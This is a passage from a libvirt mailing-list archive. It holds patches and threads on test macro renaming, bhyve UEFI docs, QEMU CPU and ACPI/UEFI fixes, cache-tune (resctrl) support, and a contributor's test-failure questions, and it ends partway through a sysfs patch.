-VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virshtest.c b/tests/virshtest.c index 2f10224..16a584d 100644 --- a/tests/virshtest.c +++ b/tests/virshtest.c @@ -419,6 +419,6 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #endif /* WIN32 */ diff --git a/tests/virstoragetest.c b/tests/virstoragetest.c index 984994d..70e24a1 100644 --- a/tests/virstoragetest.c +++ b/tests/virstoragetest.c @@ -1512,4 +1512,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virstringtest.c b/tests/virstringtest.c index db1731f..96bc79f 100644 --- a/tests/virstringtest.c +++ b/tests/virstringtest.c @@ -961,4 +961,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virsystemdtest.c b/tests/virsystemdtest.c index 4cf4021..1564275 100644 --- a/tests/virsystemdtest.c +++ b/tests/virsystemdtest.c @@ -604,7 +604,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virdbusmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virdbusmock.so") #else /* ! (WITH_DBUS && __linux__) */ int diff --git a/tests/virtimetest.c b/tests/virtimetest.c index dd52177..93be91f 100644 --- a/tests/virtimetest.c +++ b/tests/virtimetest.c @@ -223,4 +223,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virtypedparamtest.c b/tests/virtypedparamtest.c index 97dd82a..fbacfa8 100644 --- a/tests/virtypedparamtest.c +++ b/tests/virtypedparamtest.c @@ -307,4 +307,4 @@ mymain(void) return EXIT_SUCCESS; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/viruritest.c b/tests/viruritest.c index 0d392ee..c297574 100644 --- a/tests/viruritest.c +++ b/tests/viruritest.c @@ -226,4 +226,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/virusbtest.c b/tests/virusbtest.c index 7cddb89..1a2ad56 100644 --- a/tests/virusbtest.c +++ b/tests/virusbtest.c @@ -291,4 +291,4 @@ mymain(void) return EXIT_SUCCESS; } -VIRT_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virusbmock.so") +VIR_TEST_MAIN_PRELOAD(mymain, abs_builddir "/.libs/virusbmock.so") diff --git a/tests/vmwarevertest.c b/tests/vmwarevertest.c index 9c17cc6..3dbe08b 100644 --- a/tests/vmwarevertest.c +++ b/tests/vmwarevertest.c @@ -94,7 +94,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/vmx2xmltest.c b/tests/vmx2xmltest.c index 9b59fd5..4eedbac 100644 --- a/tests/vmx2xmltest.c +++ b/tests/vmx2xmltest.c @@ -295,7 +295,7 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else diff --git a/tests/xencapstest.c b/tests/xencapstest.c index 0e83d8a..7cbd43f 100644 --- a/tests/xencapstest.c +++ b/tests/xencapstest.c @@ -221,4 +221,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/xlconfigtest.c b/tests/xlconfigtest.c index e74e4d6..73702ac 100644 --- a/tests/xlconfigtest.c +++ b/tests/xlconfigtest.c @@ -299,4 +299,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/xmconfigtest.c b/tests/xmconfigtest.c index 6399777..aa3845b 100644 --- a/tests/xmconfigtest.c +++ b/tests/xmconfigtest.c @@ -256,4 +256,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/xml2sexprtest.c b/tests/xml2sexprtest.c index 0b95113..fddccf0 100644 --- a/tests/xml2sexprtest.c +++ b/tests/xml2sexprtest.c @@ -167,4 +167,4 @@ mymain(void) return ret == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) diff --git a/tests/xml2vmxtest.c b/tests/xml2vmxtest.c index b77be89..71c4cb9 100644 --- a/tests/xml2vmxtest.c +++ b/tests/xml2vmxtest.c @@ -304,7 +304,7 @@ mymain(void) return result == 0 ? EXIT_SUCCESS : EXIT_FAILURE; } -VIRT_TEST_MAIN(mymain) +VIR_TEST_MAIN(mymain) #else -- 2.7.4

2 1

[libvirt] testing volDownload and volUpload different md5 on source and dest for qcow2
by Vasiliy Tolstov 30 Mar '17

30 Mar '17

Hi. I'm fix libvirt php binding to properly recv from stream and after that test volume download and volume upload functions. And see, that in case of raw image md5sum on src and on dst is equal. But in case of qcow - phisical size of image is different and md5sum does not equal. Why this can happening? -- Vasiliy Tolstov, e-mail: v.tolstov(a)selfip.ru

2 1

[libvirt] [PATCH 0/3 for 3.2.0] Fix host-model CPU with non-migratable features
by Jiri Denemark 30 Mar '17

30 Mar '17

This series fixes a regression in libvirt which would break domains with a CPU defined as, for example: <cpu mode='host-model'> <feature name='invtsc' policy='require'/> </cpu> Such domains would work just fine with libvirt <= 3.1.0 or QEMU < 2.9.0, but they would be broken with current libvirt and QEMU >= 2.9.0. This is because we started asking QEMU for CPU features supported by the host CPU, by which we think all non-migratable features are not supported because QEMU filters them out by default. This series changes our code to properly detect even non-migratable features, but still leaves the piece which relies on our cpu_map.xml to filter them when someone asks for just <cpu mode='host-model'/>. Patches which will use the data provided by QEMU instead of our static database in cpu_map.xml will be sent soon, since they are not required to fix the regression. Jiri Denemark (3): qemuMonitorCPUModelInfo: Add support for non-migratable features qemu: Check migratable host CPU features qemu: Check non-migratable host CPU features src/qemu/qemu_capabilities.c | 96 ++- src/qemu/qemu_monitor.c | 9 +- src/qemu/qemu_monitor.h | 3 + src/qemu/qemu_monitor_json.c | 11 + src/qemu/qemu_monitor_json.h | 3 +- tests/cputest.c | 2 +- tests/domaincapsschemadata/qemu_2.9.0.x86_64.xml | 1 + .../qemucapabilitiesdata/caps_2.8.0.s390x.replies | 8 + tests/qemucapabilitiesdata/caps_2.8.0.s390x.xml | 2 +- .../qemucapabilitiesdata/caps_2.9.0.x86_64.replies | 840 +++++++++++++++++++++ tests/qemucapabilitiesdata/caps_2.9.0.x86_64.xml | 368 ++++----- 11 files changed, 1148 insertions(+), 195 deletions(-) -- 2.12.2

2 4

[libvirt] [PATCH] docs: document bhyve UEFI support
by Roman Bogorodskiy 29 Mar '17

29 Mar '17

- Add a news entry - Update the driver page with documentation of the new options and some examples --- docs/drvbhyve.html.in | 94 +++++++++++++++++++++++++++++++++++++++++++++++++++ docs/news.xml | 13 +++++++ 2 files changed, 107 insertions(+) diff --git a/docs/drvbhyve.html.in b/docs/drvbhyve.html.in index 64a1ff694..0aed121ff 100644 --- a/docs/drvbhyve.html.in +++ b/docs/drvbhyve.html.in @@ -155,6 +155,57 @@ Note the addition of <bootloader>. </domain> </pre> +<h3>Example config (Linux UEFI guest, VNC, tablet)</h3> + +<p>This is an example to boot into Fedora 25 installation:</p> + +<pre> +<domain type='bhyve'> + <name>fedora_uefi_vnc_tablet</name> + <memory unit='G'>4</memory> + <vcpu>2</vcpu> + <os> + <type>hvm</type> + <b><loader readonly="yes" type="pflash">/usr/local/share/uefi-firmware/BHYVE_UEFI.fd</loader></b> + </os> + <features> + <apic/> + <acpi/> + </features> + <clock offset='utc'/> + <on_poweroff>destroy</on_poweroff> + <on_reboot>restart</on_reboot> + <on_crash>destroy</on_crash> + <devices> + <disk type='file' device='cdrom'> + <driver name='file' type='raw'/> + <source file='/path/to/Fedora-Workstation-Live-x86_64-25-1.3.iso'/> + <target dev='hdc' bus='sata'/> + <readonly/> + </disk> + <disk type='file' device='disk'> + <driver name='file' type='raw'/> + <source file='/path/to/linux_uefi.img'/> + <target dev='hda' bus='sata'/> + </disk> + <interface type='bridge'> + <model type='virtio'/> + <source bridge="virbr0"/> + </interface> + <serial type="nmdm"> + <source master="/dev/nmdm0A" slave="/dev/nmdm0B"/> + </serial> + <b><graphics type='vnc' port='5904'> + <listen type='address' address='127.0.0.1'/> + </graphics> + <controller type='usb' model='nec-xhci'/> + <input type='tablet' bus='usb'/></b> + </devices> +</domain> +</pre> + +<p>Please refer to the <a href="#uefi">UEFI</a> section for a more detailed explanation.</p> + <h2><a name="usage">Guest usage / management</a></h2> <h3><a name="console">Connecting to a guest console</a></h3> @@ -261,6 +312,49 @@ attempt to boot from the first partition in the disk image.</p> <p>Caveat: <code>bootloader_args</code> does not support any quoting. Filenames, etc, must not have spaces or they will be tokenized incorrectly.</p> +<h3><a name="uefi">Using UEFI bootrom, VNC, and USB tables</a></h3> + +<p><span class="since">Since 3.2.0</span>, in addition to <a href="#grubbhyve">grub-bhyve</a>, +non-FreeBSD guests could be also booted using an UEFI boot ROM, provided both guest OS and +installed <code>bhyve(1)</code> version support UEFI. To use that, <code>loader</code> +should be specified in the <code>os</code> section:</p> + +<pre> +<domain type='bhyve'> + ... + <os> + <type>hvm</type> + <loader readonly="yes" type="pflash">/usr/local/share/uefi-firmware/BHYVE_UEFI.fd</loader> + </os> + ... +</pre> + +<p>This uses the UEFI firmware provided by +the <a href="https://www.freshports.org/sysutils/bhyve-firmware/">sysutils/bhyve-firmware</a> +FreeBSD port.</p> + +<p>VNC and the tablet input device could be configured this way:</p> + +<pre> +<domain type='bhyve'> + <devices> + ... + <graphics type='vnc' port='5904'> + <listen type='address' address='127.0.0.1'/> + </graphics> + <controller type='usb' model='nec-xhci'/> + <input type='tablet' bus='usb'/> + </devices> + ... +</domain> +</pre> + +<p>This way, VNC will be accessible on <code>127.0.0.1:5904</code>.</p> + +<p>Please note that the tablet device requires to have an USB controller +of the <code>nec-xhci</code> model. Currently, only a single controller of this +type and a single tablet are supported per domain.</p> + <h3><a name="clockconfig">Clock configuration</a></h3> <p>Originally bhyve supported only localtime for RTC. Support for UTC time was introduced in diff --git a/docs/news.xml b/docs/news.xml index 814bd93fd..0db9813d7 100644 --- a/docs/news.xml +++ b/docs/news.xml @@ -70,6 +70,19 @@ introducing a new host device type in the XML. </description> </change> + <change> + <summary> + bhyve: Add support for UEFI boot ROM, VNC, and USB tablet + </summary> + <description> + The bhyve driver now supports booting using the UEFI boot ROM, + so non-FreeBSD guests that support UEFI could be booted without + using an external boot loader like grub-bhyve. Video is also + supported now, allowing to connect to guests via VNC and use + an USB tablet as an input device. Please refer to + the driver page for domain XML examples. + </description> + </change> </section> <section title="Improvements"> <change> -- 2.11.0

2 2

[libvirt] [PATCH 0/4] qemu: ACPI and UEFI fixes
by Andrea Bolognani 29 Mar '17

29 Mar '17

Changes from [RFC]: * Add patches 3 and 4. [RFC] https://www.redhat.com/archives/libvir-list/2017-March/msg00347.html Andrea Bolognani (4): qemu: Advertise ACPI support for aarch64 guests tests: Initialize basic capabilities properly qemu: Enforce ACPI, UEFI requirements tests: Test ACPI, UEFI requirements src/qemu/qemu_capabilities.c | 30 +++++++++++++++++----- src/qemu/qemu_command.c | 20 ++++++++++++++- .../caps_2.6.0-gicv2.aarch64.xml | 1 + .../caps_2.6.0-gicv3.aarch64.xml | 1 + .../qemuxml2argv-aarch64-aavmf-virtio-mmio.args | 1 + .../qemuxml2argv-aarch64-aavmf-virtio-mmio.xml | 1 - ....args => qemuxml2argv-aarch64-acpi-nouefi.args} | 9 ++++--- ...gh.xml => qemuxml2argv-aarch64-acpi-nouefi.xml} | 18 ++++++------- .../qemuxml2argv-aarch64-acpi-uefi.args | 22 ++++++++++++++++ ...ough.xml => qemuxml2argv-aarch64-acpi-uefi.xml} | 17 ++++++------ .../qemuxml2argv-aarch64-cpu-passthrough.args | 1 + .../qemuxml2argv-aarch64-cpu-passthrough.xml | 1 - ...rgs => qemuxml2argv-aarch64-noacpi-nouefi.args} | 13 +++++----- ....xml => qemuxml2argv-aarch64-noacpi-nouefi.xml} | 21 +++++++-------- .../qemuxml2argv-aarch64-noacpi-uefi.args | 23 +++++++++++++++++ ...gh.xml => qemuxml2argv-aarch64-noacpi-uefi.xml} | 20 ++++++--------- .../qemuxml2argv-aarch64-video-virtio-gpu-pci.args | 1 + .../qemuxml2argv-aarch64-video-virtio-gpu-pci.xml | 3 --- ...l2argv-aarch64-virt-2.6-virtio-pci-default.args | 1 + ...ml2argv-aarch64-virt-2.6-virtio-pci-default.xml | 1 - .../qemuxml2argv-aarch64-virt-default-nic.args | 1 + .../qemuxml2argv-aarch64-virt-default-nic.xml | 3 --- .../qemuxml2argv-aarch64-virt-virtio.args | 1 + .../qemuxml2argv-aarch64-virt-virtio.xml | 1 - .../qemuxml2argv-aarch64-virtio-pci-default.args | 1 + .../qemuxml2argv-aarch64-virtio-pci-default.xml | 1 - ...l2argv-aarch64-virtio-pci-manual-addresses.args | 1 + ...ml2argv-aarch64-virtio-pci-manual-addresses.xml | 1 - .../qemuxml2argv-balloon-ccw-deflate.args | 1 - .../qemuxml2argv-balloon-mmio-deflate.args | 1 + .../qemuxml2argv-balloon-mmio-deflate.xml | 1 - .../qemuxml2argv-console-sclp.args | 1 - .../qemuxml2argv-console-virtio-ccw.args | 1 - .../qemuxml2argv-console-virtio-s390.args | 1 - .../qemuxml2argv-cpu-s390-features.args | 1 - .../qemuxml2argv-cpu-s390-zEC12.args | 1 - .../qemuxml2argv-disk-virtio-ccw-many.args | 1 - .../qemuxml2argv-disk-virtio-ccw.args | 1 - .../qemuxml2argv-disk-virtio-s390.args | 1 - .../qemuxml2argv-disk-virtio-scsi-ccw.args | 1 - tests/qemuxml2argvdata/qemuxml2argv-fs9p-ccw.args | 1 - .../qemuxml2argv-hostdev-scsi-vhost-scsi-ccw.args | 1 - .../qemuxml2argv-hugepages-numa.args | 1 + .../qemuxml2argv-iothreads-disk-virtio-ccw.args | 1 - .../qemuxml2argv-iothreads-virtio-scsi-ccw.args | 1 - .../qemuxml2argv-machine-aeskeywrap-off-cap.args | 1 - .../qemuxml2argv-machine-aeskeywrap-off-caps.args | 1 - .../qemuxml2argv-machine-aeskeywrap-on-cap.args | 1 - .../qemuxml2argv-machine-aeskeywrap-on-caps.args | 1 - .../qemuxml2argv-machine-deakeywrap-off-cap.args | 1 - .../qemuxml2argv-machine-deakeywrap-off-caps.args | 1 - .../qemuxml2argv-machine-deakeywrap-on-cap.args | 1 - .../qemuxml2argv-machine-deakeywrap-on-caps.args | 1 - .../qemuxml2argv-machine-keywrap-none-caps.args | 1 - .../qemuxml2argv-machine-keywrap-none.args | 1 - .../qemuxml2argv-memory-hotplug-ppc64-nonuma.args | 1 - .../qemuxml2argv-net-virtio-ccw.args | 1 - .../qemuxml2argv-net-virtio-s390.args | 1 - tests/qemuxml2argvdata/qemuxml2argv-ppc-dtb.args | 1 - .../qemuxml2argv-ppce500-serial.args | 1 - .../qemuxml2argv-pseries-basic.args | 1 - .../qemuxml2argv-pseries-cpu-compat.args | 1 - .../qemuxml2argv-pseries-cpu-exact.args | 1 - .../qemuxml2argv-pseries-cpu-le.args | 1 - .../qemuxml2argv-pseries-nvram.args | 1 - .../qemuxml2argv-pseries-panic-missing.args | 1 - .../qemuxml2argv-pseries-panic-no-address.args | 1 - .../qemuxml2argv-pseries-usb-default.args | 1 - .../qemuxml2argv-pseries-usb-kbd.args | 1 - .../qemuxml2argv-pseries-usb-multi.args | 1 - .../qemuxml2argv-pseries-vio-user-assigned.args | 1 - .../qemuxml2argvdata/qemuxml2argv-pseries-vio.args | 1 - .../qemuxml2argv-q35-acpi-nouefi.args | 21 +++++++++++++++ .../qemuxml2argv-q35-acpi-nouefi.xml | 27 +++++++++++++++++++ .../qemuxml2argv-q35-acpi-uefi.args | 22 ++++++++++++++++ .../qemuxml2argv-q35-acpi-uefi.xml | 26 +++++++++++++++++++ .../qemuxml2argv-q35-noacpi-nouefi.args | 22 ++++++++++++++++ .../qemuxml2argv-q35-noacpi-nouefi.xml | 24 +++++++++++++++++ .../qemuxml2argv-q35-noacpi-uefi.xml | 23 +++++++++++++++++ .../qemuxml2argv-q35-virt-manager-basic.args | 1 + ...muxml2argv-s390-allow-bogus-usb-controller.args | 1 - .../qemuxml2argv-s390-allow-bogus-usb-none.args | 1 - .../qemuxml2argv-s390-panic-missing.args | 1 - .../qemuxml2argv-s390-panic-no-address.args | 1 - .../qemuxml2argv-virtio-rng-ccw.args | 1 - .../qemuxml2argv-watchdog-diag288.args | 1 - tests/qemuxml2argvtest.c | 30 ++++++++++++++++++++-- .../qemuxml2xmlout-aarch64-aavmf-virtio-mmio.xml | 1 - ...qemuxml2xmlout-aarch64-video-virtio-gpu-pci.xml | 1 - .../qemuxml2xmlout-aarch64-virtio-pci-default.xml | 1 - ...2xmlout-aarch64-virtio-pci-manual-addresses.xml | 1 - 91 files changed, 339 insertions(+), 126 deletions(-) copy tests/qemuxml2argvdata/{qemuxml2argv-aarch64-cpu-passthrough.args => qemuxml2argv-aarch64-acpi-nouefi.args} (55%) copy tests/qemuxml2argvdata/{qemuxml2argv-aarch64-cpu-passthrough.xml => qemuxml2argv-aarch64-acpi-nouefi.xml} (59%) create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-aarch64-acpi-uefi.args copy tests/qemuxml2argvdata/{qemuxml2argv-aarch64-cpu-passthrough.xml => qemuxml2argv-aarch64-acpi-uefi.xml} (63%) copy tests/qemuxml2argvdata/{qemuxml2argv-aarch64-cpu-passthrough.args => qemuxml2argv-aarch64-noacpi-nouefi.args} (50%) copy tests/qemuxml2argvdata/{qemuxml2argv-aarch64-cpu-passthrough.xml => qemuxml2argv-aarch64-noacpi-nouefi.xml} (57%) create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-aarch64-noacpi-uefi.args copy tests/qemuxml2argvdata/{qemuxml2argv-aarch64-cpu-passthrough.xml => qemuxml2argv-aarch64-noacpi-uefi.xml} (61%) create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-q35-acpi-nouefi.args create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-q35-acpi-nouefi.xml create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-q35-acpi-uefi.args create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-q35-acpi-uefi.xml create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-q35-noacpi-nouefi.args create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-q35-noacpi-nouefi.xml create mode 100644 tests/qemuxml2argvdata/qemuxml2argv-q35-noacpi-uefi.xml -- 2.7.4

2 14

[libvirt] [python PATCH 0/2] Fix event comment and add handler for block threshold
by Peter Krempa 29 Mar '17

29 Mar '17

Peter Krempa (2): event: fix comment for _dispatchDomainEventMetadataChangeCallback event: Add handler for block threshold event examples/event-test.py | 4 +++ libvirt-override-virConnect.py | 11 +++++++- libvirt-override.c | 62 ++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 76 insertions(+), 1 deletion(-) -- 2.12.1

2 3

[libvirt] [PATCH] qemu: domain: Properly lookup top of chain in qemuDomainGetStorageSourceByDevstr
by Peter Krempa 29 Mar '17

29 Mar '17

When idx is 0 virStorageFileChainLookup returns the base (bottom) of the backing chain rather than the top. This is expected by the callers of qemuDomainGetStorageSourceByDevstr. Add a special case for idx == 0 --- With this you are not able to specify the top image of a disk when using virDomainSetBlockThreshold in qemu. src/qemu/qemu_domain.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/qemu/qemu_domain.c b/src/qemu/qemu_domain.c index 458bb5f9a..589eb1889 100644 --- a/src/qemu/qemu_domain.c +++ b/src/qemu/qemu_domain.c @@ -8605,7 +8605,10 @@ qemuDomainGetStorageSourceByDevstr(const char *devstr, goto cleanup; } - src = virStorageFileChainLookup(disk->src, NULL, NULL, idx, NULL); + if (idx == 0) + src = disk->src; + else + src = virStorageFileChainLookup(disk->src, NULL, NULL, idx, NULL); cleanup: VIR_FREE(target); -- 2.12.1

2 2

[libvirt] encountered failed test cases with latest checkout of libvirt
by D L 29 Mar '17

29 Mar '17

Hi all, This email content might be duplicated with other thread posted in other places that I do not know yet where to find or search (please let me know if it is true). I am working on a small bug of virsh domxml-to-native. Before I made any changes to the code in order to fix the bug, I 'make test'-ed and 'valgrind test'-ed the code, encountered four failures in 'make test' and 19 failures in 'make -C tests valgrind'. What I did today was the following: git checkout master git pull ./autogen.sh --prefix=$(pwd)/build make make install # So far so good, no errors ; however make check VIR_TEST_EXPENSIVE=1 # generated the following test-suite.log ========================================= libvirt 3.2.0: tests/test-suite.log ========================================= # TOTAL: 115 # PASS: 111 # SKIP: 0 # XFAIL: 0 # FAIL: 4 # XPASS: 0 # ERROR: 0 .. contents:: :depth: 2 FAIL: virfirewalltest ===================== TEST: virfirewalltest !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! 40 FAIL FAIL virfirewalltest (exit status: 1) FAIL: networkxml2firewalltest ============================= TEST: networkxml2firewalltest 0 FAIL FAIL networkxml2firewalltest (exit status: 1) FAIL: nwfilterebiptablestest ============================ TEST: nwfilterebiptablestest 0 FAIL FAIL nwfilterebiptablestest (exit status: 1) FAIL: nwfilterxml2firewalltest ============================== TEST: nwfilterxml2firewalltest 0 FAIL FAIL nwfilterxml2firewalltest (exit status: 1) make syntax-check VIR_TEST_EXTENSIVE=1 # I did not paste the result here and I do not understand what it means. # available upon request Finally, make -C tests valgrind # generated file was attached. It seems most of the valgrind failures were false positives, I can only tell by comparing the log file with the examples in the HACKING page. But I do not have the knowledge to determine. Could anyone tell me if I am missing something? Having those test failures is a problem or not? Which ones can be safely ignored? Is there any easier way to avoid the false positives? I am concerned because I also need to run the test when I make changes to the code. On the other hand, I would also like to learn the right way to do the testing or whatever it takes to make things right. I am running linux using vmware Workstation Pro 12 on Windows 10. Linux version 4.4.55-1-MANJARO (builduser@manjaro) (gcc version 6.3.1 20170306 (GCC) ) #1 SMP PREEMPT Dan

5 4

[libvirt] [PATCH resend V10 00/12] Support cache tune in libvirt
by Eli Qiao 29 Mar '17

29 Mar '17

Addressed comment from v10 -> v9 Marcelo: * Improve default schemata calculate, support allocate from low schemata bits for other APP. Addressed comment from v9 -> v8 Marcelo: * New public API to query cache usage Eli: * Fix core dump while multiple tasks are added. Addressed comment from v8 -> v7 Martin: * Patch subject prefix. * Move some of cpu related information to virhostcpu.c. * Fix some memory leak in src/utils/resctrl.c Martin & Marcelo: * Don't remove directories which are not maintained by libvirt. Addressed comment from v7 -> v6 Marcelo: * Fix flock usage while VM initialization. Addressed comment from v6 -> v5 Marcelo: * Support other APPs to operate /sys/fs/resctrl at same time Libvirt will scan /sys/fs/resctrl again before doing cache allocation. patch 10 will address this. Addressed comment from v4 -> v5: Marcelo: * Several typos * Use flock instead of virFileLock Addressed comment from v3 -> v4: Daniel & Marcelo: * Added concurrence support Addressed comment from v2 -> v3: Daniel: * Fixed coding style, passed `make check` and `make syntax-check` * Variables renaming and move from header file to c file. * For locking/mutex support, no progress. There are some discussion from mailing list, but I can not find a better way to add locking support without performance impact. I'll explain the process and please help to advice what shoud we do. VM create: 1) Get the cache left value on each bank of the host. This should be shared amount all VMs. 2) Calculate the schemata on the bank based on all created resctrl domain's schemata 3) Calculate the default schemata by scaning all domain's schemata. 4) Flush default schemata to /sys/fs/resctrl/schemata VM destroy: 1) Remove the resctrl domain of that VM 2) Recalculate default schemata 3) Flush default schemata to /sys/fs/resctrl/schemata The key point is that all VMs shares /sys/fs/resctrl/schemata, and when a VM create a resctrl domain, the schemata of that VM depends on the default schemata and all other exsited schematas. So a global mutex is reqired. Before calculate a schemata or update default schemata, libvirt should gain this global mutex. I will try to think more about how to support this gracefully in next patch set. Marcelo: * Added vcpu support for cachetune, this will allow user to define which vcpu using which cache allocation bank. <cachetune id='0' host_id=0 size='3072' unit='KiB' vcpus='0,1'/> vcpus is a cpumap, the vcpu pids will be added to tasks file * Added cdp compatible, user can specify l3 cache even host enable cdp. See patch 8. On a cdp enabled host, specify l3code/l3data by <cachetune id='0' host_id='0' type='l3' size='3072' unit='KiB'/> This will create a schemata like: L3data:0=0xff00;... L3code:0=0xff00;... * Would you please help to test if the functions work. Martin: * Xml test case, I have no time to work on this yet, would you please show me an example, would like to amend it later. This series patches are for supportting CAT featues, which also called cache tune in libvirt. First to expose cache information which could be tuned in capabilites XML. Then add new domain xml element support to add cacahe bank which will apply on this libvirt domain. This series patches add a util file `resctrl.c/h`, an interface to talk with linux kernel's system fs. There are still one TODO left: 2. Expose a new public interface to set cachetune lively. Some discussion about this feature support can be found from: https://www.redhat.com/archives/libvir-list/2017-January/msg00644.html *** BLURB HERE *** Eli Qiao (12): Resctrl: Add some utils functions Resctrl: expose cache information to capabilities Resctrl: Add new xml element to support cache tune Resctrl: Add private interfaces to operate cache bank Qemu: Set cache tune while booting a new domain. Resctrl: enable l3code/l3data Resctrl: Make sure l3data/l3code are pairs Resctrl: Compatible mode for cdp enabled Resctrl: concurrence support Resctrl: Scan resctrl before doing cache allocation Resctrl: Add Public API for nodecachestats Resctrl: Add nodecachestats daemon/remote.c | 67 +++ docs/schemas/domaincommon.rng | 46 ++ include/libvirt/libvirt-host.h | 32 ++ include/libvirt/virterror.h | 1 + po/POTFILES.in | 1 + src/Makefile.am | 1 + src/conf/capabilities.c | 56 ++ src/conf/capabilities.h | 23 + src/conf/domain_conf.c | 182 +++++++ src/conf/domain_conf.h | 19 + src/driver-hypervisor.h | 7 + src/libvirt-host.c | 41 ++ src/libvirt_private.syms | 12 + src/libvirt_public.syms | 1 + src/nodeinfo.c | 64 +++ src/nodeinfo.h | 1 + src/qemu/qemu_capabilities.c | 8 + src/qemu/qemu_driver.c | 18 + src/qemu/qemu_process.c | 54 ++ src/remote/remote_driver.c | 52 ++ src/remote/remote_protocol.x | 25 +- src/remote_protocol-structs | 16 + src/util/virerror.c | 1 + src/util/virhostcpu.c | 186 ++++++- src/util/virhostcpu.h | 6 + src/util/virresctrl.c | 1098 ++++++++++++++++++++++++++++++++++++++++ src/util/virresctrl.h | 96 ++++ tools/virsh-host.c | 49 ++ 28 files changed, 2145 insertions(+), 18 deletions(-) create mode 100644 src/util/virresctrl.c create mode 100644 src/util/virresctrl.h -- 1.9.1

5 36

[libvirt] [PATCH] util: Add more virsysfs functions for handling resctrl sysfs
by Eli Qiao 29 Mar '17

29 Mar '17

Extended /sys/fs/resctrl sysfs handling. Signed-off-by: Eli Qiao <liyong.qiao(a)intel.com> --- src/libvirt_private.syms | 4 ++ src/util/virsysfs.c | 98 +++++++++++++++++++++++++++++++++++++++++++++++- src/util/virsysfs.h | 15 ++++++++ 3 files changed, 116 insertions(+), 1 deletion(-) diff --git a/src/libvirt_private.syms b/src/libvirt_private.syms index b551cb8..e07ae79 100644 --- a/src/libvirt_private.syms +++ b/src/libvirt_private.syms @@ -2631,6 +2631,10 @@ virSysfsGetValueBitmap; virSysfsGetValueInt; virSysfsGetValueString; virSysfsSetSystemPath; +virSysfsGetResctrlString; +virSysfsGetResctrlUint; +virSysfsGetResctrlInfoString; +virSysfsGetResCtrInfoUint; # util/virsysinfo.h diff --git a/src/util/virsysfs.c b/src/util/virsysfs.c index 7a98b48..d1be289 100644 --- a/src/util/virsysfs.c +++ b/src/util/virsysfs.c @@ -36,8 +36,10 @@ VIR_LOG_INIT("util.sysfs"); #define VIR_SYSFS_VALUE_MAXLEN 8192 #define SYSFS_SYSTEM_PATH "/sys/devices/system" +#define SYSFS_RESCTRL_PATH "/sys/fs/resctrl" static const char *sysfs_system_path = SYSFS_SYSTEM_PATH; +static const char *sysfs_resctrl_path = SYSFS_RESCTRL_PATH; void virSysfsSetSystemPath(const char *path) @@ -48,13 +50,26 @@ void virSysfsSetSystemPath(const char *path) sysfs_system_path = SYSFS_SYSTEM_PATH; } - const char * virSysfsGetSystemPath(void) { return sysfs_system_path; } +void virSysfsSetResctrlPath(const char *path) +{ + if (path) + sysfs_resctrl_path = path; + else + sysfs_resctrl_path = SYSFS_RESCTRL_PATH; +} + +const char * +virSysfsGetResctrlPath(void) +{ + return sysfs_resctrl_path; +} + int virSysfsGetValueInt(const char *file, int *value) @@ -227,3 +242,84 @@ virSysfsGetNodeValueBitmap(unsigned int node, VIR_FREE(path); return ret; } + +int +virSysfsGetResctrlString(const char* file, + char **value) +{ + chat *path = NULL; + int ret = -1; + if (virAsprintf(&path, "%s/%s", sysfs_resctrl_path, file) < 0) + if (!virFileExists(path)) { + ret = -2; + goto cleanup; + } + + if (virFileReadAll(path, VIR_SYSFS_VALUE_MAXLEN, value) < 0) + goto cleanup; + + ret = 0; + + cleanup: + VIR_FREE(path); + return ret; +} + +int +virSysfsGetResctrlUint(const char* file, + unsigned int **value) +{ + chat *path = NULL; + int ret = -1; + if (virAsprintf(&path, "%s/%s", sysfs_resctrl_path, file) < 0) + if (!virFileExists(path)) { + ret = -2; + goto cleanup; + } + + ret = 